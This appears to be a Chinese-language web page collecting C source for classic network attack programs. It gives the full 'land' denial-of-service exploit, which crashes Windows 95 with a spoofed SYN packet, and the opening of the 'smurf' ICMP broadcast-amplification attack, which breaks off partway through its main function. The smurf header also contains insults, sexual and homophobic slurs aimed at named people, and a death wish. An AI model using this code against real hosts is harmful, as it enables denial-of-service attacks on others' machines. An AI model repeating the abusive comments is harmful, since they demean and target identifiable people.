[ 永遠的UNIX > C源碼:常用攻擊程序 ]

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            1 Land 

            攻擊一臺Win95的機器。這是Win95的一個漏洞，以其IP地址和端口向自 
            己的同一個端口發起連接（發SYN），Win95即會崩潰。 


            /* land.c by m3lt, FLC 
               crashes a win95 box */ 

            #include <stdio.h> 
            #include <netdb.h> 
            #include <arpa/inet.h> 
            #include <netinet/in.h> 
            #include <sys/types.h> 
            #include <sys/socket.h> 
            #include < netinet/ip.h > 
            #include < netinet/tcp.h > 

            //用于TCP校驗和的偽頭 
            struct pseudohdr 
            { 
                    struct in_addr saddr; 
                    struct in_addr daddr; 
                    u_char zero; 
                    u_char protocol; 
                    u_short length; 
                    struct tcphdr tcpheader; 
            }; 

            //計算IP校驗和 
            u_short checksum(u_short * data,u_short length) 
            { 
                    register long value; 
                    u_short i; 

                    for(i=0;i<(length>>1);i++) 
                            value+=data[i]; 

                    if((length&1)==1) 
                            value+=(data[i]<<8); 

                    value=(value&65535)+(value>>16); 

                    return(~value); 
            } 


            int main(int argc,char * * argv) 
            { 
                    struct sockaddr_in sin; 
                    struct hostent * hoste; 
                    int sock; 
                    char buffer[40]; 
                    struct iphdr * ipheader=(struct iphdr *) buffer; 
                    struct tcphdr * tcpheader=(struct tcphdr *) 
            (buffer+sizeof(struct iphdr)); 
                    struct pseudohdr pseudoheader; 

                    fprintf(stderr,"land.c by m3lt, FLC\n"); 

                    if(argc<3) 
                    { 
                            fprintf(stderr,"usage: %s IP port\n",argv[0]); 
                            return(-1); 
                    } 

                    bzero(&sin,sizeof(struct sockaddr_in)); 
                    sin.sin_family=AF_INET; 

                    if((hoste=gethostbyname(argv[1]))!=NULL) 
                            bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); 
                    else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) 
                    { 
                            fprintf(stderr,"unknown host %s\n",argv[1]); 
                            return(-1); 
                    } 

                    if((sin.sin_port=htons(atoi(argv[2])))==0) 
                    { 
                            fprintf(stderr,"unknown port %s\n",argv[2]); 
                            return(-1); 
                    } 

            //new一個SOCK—RAW以發偽造IP包 這需要root權限 
                    if((sock=socket(AF_INET,SOCK_RAW,255))==-1) 
                    { 
                            fprintf(stderr,"couldn't allocate raw socket\n"); 
                            return(-1); 
                    } 

                    bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr)); 
                    ipheader->version=4; 
                    ipheader->ihl=sizeof(struct iphdr)/4; 
                    ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct 
            tcphdr)); 
                    ipheader->id=htons(0xF1C); 
                    ipheader->ttl=255; 
                    ipheader->protocol=IP_TCP; 

            //目的IP地址和源IP地址相同 
                    ipheader->saddr=sin.sin_addr.s_addr; 
                    ipheader->daddr=sin.sin_addr.s_addr; 

            //目的TCP端口和源TCPIP端口相同 
                    tcpheader->th_sport=sin.sin_port; 
                    tcpheader->th_dport=sin.sin_port; 
                    tcpheader->th_seq=htonl(0xF1C); 
                    tcpheader->th_flags=TH_SYN; 
                    tcpheader->th_off=sizeof(struct tcphdr)/4; 
                    tcpheader->th_win=htons(2048); 

                    bzero(&pseudoheader,12+sizeof(struct tcphdr)); 
                    pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; 
                    pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; 
                    pseudoheader.protocol=6; 
                    pseudoheader.length=htons(sizeof(struct tcphdr)); 
                    bcopy((char *) tcpheader,(char *) 
            &pseudoheader.tcpheader,sizeof(struct tcphdr)); 
                    tcpheader->th_sum=checksum((u_short *) 
            &pseudoheader,12+sizeof(struct tcphdr)); 

                    if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct 
            tcphdr), 
              0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) 
                    { 
                            fprintf(stderr,"couldn't send packet\n"); 
                            return(-1); 
                    } 

                    fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]); 

                    close(sock); 
                    return(0); 
            } 


            2 Smurf 
                 smurf攻擊是很簡單的，它有一些IP（廣播地址）地址列表，發出了一些偽造的數 
            據包（ICMP echo request）從而導致一場廣播風暴，可以使受害主機（使它成為偽造包 
            的源地址）崩潰。 

                受害者有兩種：中間的設備（bounce sites 交換機或路由器）和被偽裝的IP（那些 
            icmp echo的包都被發給它）。這種攻擊依賴于路由器把一個廣播地址轉化為一廣播楨 
            （如Ethernet, FF:FF:FF:FF:FF:FF），RFC中允許這種轉換，但在今天看來是不需要的。 

                可以使你router停止轉換第三層的廣播（IP）到第二層的廣播（Ethernet）。 

                但是Smb服務器或NT需要遠程廣播使LAN知道它的存在，但在路由器的上述配置會使這變 
            成不可能（沒有WINS服務器時）。 

            /* 
             * 
             *  $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $ 
             * 
             *  spoofs icmp packets from a host to various broadcast addresses 
            resulting 
             *  in multiple replies to that host from a single packet. 
             * 
             *  mad head to: 
             *     nyt, soldier, autopsy, legendnet, #c0de, irq for being my 
            guinea pig, 
             *     MissSatan for swallowing, napster for pimping my sister, the 
            guy that 
             *     invented vaseline, fyber for trying, knowy, old school 
            #havok, kain 
             *     cos he rox my sox, zuez, toxik, robocod, and everyone else 
            that i might 
             *     have missed (you know who you are). 
             * 
             *     hi to pbug, majikal, white_dragon and chris@unix.org for 
            being the sexy 
             *     thing he is (he's -almost- as stubborn as me, still i managed 
            to pick up 
             *     half the cheque). 
             * 
             *     and a special hi to Todd, face it dude, you're fucking 
            awesome. 
             * 
             *  mad anal to: 
             *     #madcrew/#conflict for not cashing in their cluepons, EFnet 
            IRCOps 
             *     because they plain suck, Rolex for being a twit, everyone 
            that 
             *     trades warez, Caren for being a lesbian hoe, AcidKill for 
            being her 
             *     partner, #cha0s, sedriss for having an ego in inverse 
            proportion to 
             *     his penis and anyone that can't pee standing up -- you don't 
            know what 
             *     your missing out on. 
             * 
             *     and anyone thats ripped my code (diff smurf.c axcast.c is 
            rather 
             *     interesting). 
             * 
             *     and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU 
            to Bill 
             *     Robbins for trying to steal my girlfriend.  Not only did you 
            show me 
             *     no respect but you're a manipulating prick who tried to take 
            away the 
             *     most important thing in the world to me with no guilt 
            whatsoever, and 
             *     for that I wish you nothing but pain.  Die. 
             * 
             *  disclaimer: 
             *     I cannot and will not be held responsible nor legally bound 
            for the 
             *     malicious activities of individuals who come into possession 
            of this 
             *     program and I refuse to provide help or support of any kind 
            and do NOT 
             *     condone use of this program to deny service to anyone or any 
            machine. 
             *     This is for educational use only. Please Don't abuse this. 
             * 
             *  Well, i really, really, hate this code, but yet here I am 
            creating another 
             *  disgusting version of it.  Odd, indeed.  So why did I write it?  
            Well, I, 
             *  like most programmers don't like seeing bugs in their code.  I 
            saw a few 
             *  things that should have been done better or needed fixing so I 
            fixed 
             *  them.  -shrug-, programming for me as always seemed to take the 
            pain away 
             *  ... 
             * 
             * 
             */ 

            #include <signal.h> 
            #include <stdio.h> 
            #include <stdlib.h> 
            #include <sys/socket.h> 
            #include <sys/types.h> 
            #include <netinet/in.h> 
            #include <netinet/ip.h> 
            #include <netinet/ip_icmp.h> 
            #include <netdb.h> 
            #include <ctype.h> 
            #include <arpa/inet.h> 
            #include <unistd.h> 
            #include <string.h> 

            void banner(void); 
            void usage(char *); 
            void smurf(int, struct sockaddr_in, u_long, int); 
            void ctrlc(int); 
            unsigned short in_chksum(u_short *, int); 

            /* stamp */ 
            char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp 
            $"; 

            int main (int argc, char *argv[]) 
            { 
               struct sockaddr_in sin; 
               struct hostent *he; 
               FILE   *bcastfile; 
               int    i, sock, bcast, delay, num, pktsize, cycle = 0, x; 
               char   buf[32], **bcastaddr = malloc(8192);